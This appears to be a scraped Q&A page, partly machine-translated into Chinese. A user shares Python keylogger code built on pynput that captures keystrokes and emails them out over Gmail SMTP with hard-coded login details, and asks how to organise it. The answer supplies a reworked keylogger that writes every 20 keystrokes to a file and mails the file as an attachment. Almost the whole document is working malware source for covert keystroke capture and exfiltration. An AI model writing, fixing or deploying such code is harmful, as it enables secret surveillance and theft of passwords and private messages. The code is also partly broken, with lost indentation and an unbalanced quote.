from pynput import keyboard
import smtplib
events = []
def on_press(key):
try:
('{0}'.format(key.char))
events.append(key)
print(events)
except AttributeError :
print('{0}'.format(key))
def on_handling():
global events
if len(events) == 1:
on_send()
else:
on_press()
def on_send():
server = 'smtp.gmail.com'
port = 587
smtp = smtplib.SMTP(server,port)
smtp.ehlo()
smtp.starttls()
smtp.login("iamahacker@gmail.com","ihacktheworld2017")
smtp.sendmail("iamahacker@gmail.com","hacktheworld18@gmail.com",events)
smtp.close()
events = []
with keyboard.Listener(on_press = on_press) as listener:
listener.join()
on_handling()
1.这是一个带有pynput库的键盘记录器 2.i想要将所有事件写入列表或文件 3.当达到特定的信件时,将其发送给邮件 问题在于组织代码和使用event = []变量
答案 0 :(得分:0)
这是我最好的efford
from pynput import keyboard
import smtplib
import base64
import os
events = []
FROM = youruser@gmail.com'
MARKER = 'KEY'
TO = receiver@gmail.com'
def on_press(key):
global keylogger
keylogger = 'keylogger.txt'
try:
# ('{0}'.format(key.char))
events.append(key)
print(events)
except AttributeError:
print('{0}'.format(key))
if len(events) == 20:
file = open(keylogger, 'w')
for i in events:
file.write(str(i))
file.close()
on_send(keylogger)
def on_handling():
global events
if len(events) == 1:
on_send()
else:
on_press()
def on_send(filename):
fo = open(filename, "rb")
filecontent = fo.read()
# encodedcontent = base64.b64encode(filecontent
encodedcontent = filecontent
filename = os.path.basename(filename)
body = """
This is the key, check it.
"""
# Define the main headers.
part1 = """From: Matt Vincent <matt.vincent@jax.org>
To: %s
Subject: Sending Attachment
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (TO, MARKER, MARKER)
# Define the message action
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""" % (body, MARKER)
# Define the attachment section
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""" % (filename, filename, encodedcontent, MARKER)
message = part1 + part2 + part3
server = 'smtp.gmail.com'
port = 587
smtp = smtplib.SMTP(server,port)
smtp.ehlo()
smtp.starttls()
smtp.login(FROM, "password")
smtp.sendmail(FROM, TO, message)
smtp.close()
with keyboard.Listener(on_press = on_press) as listener:
listener.join()
on_handling()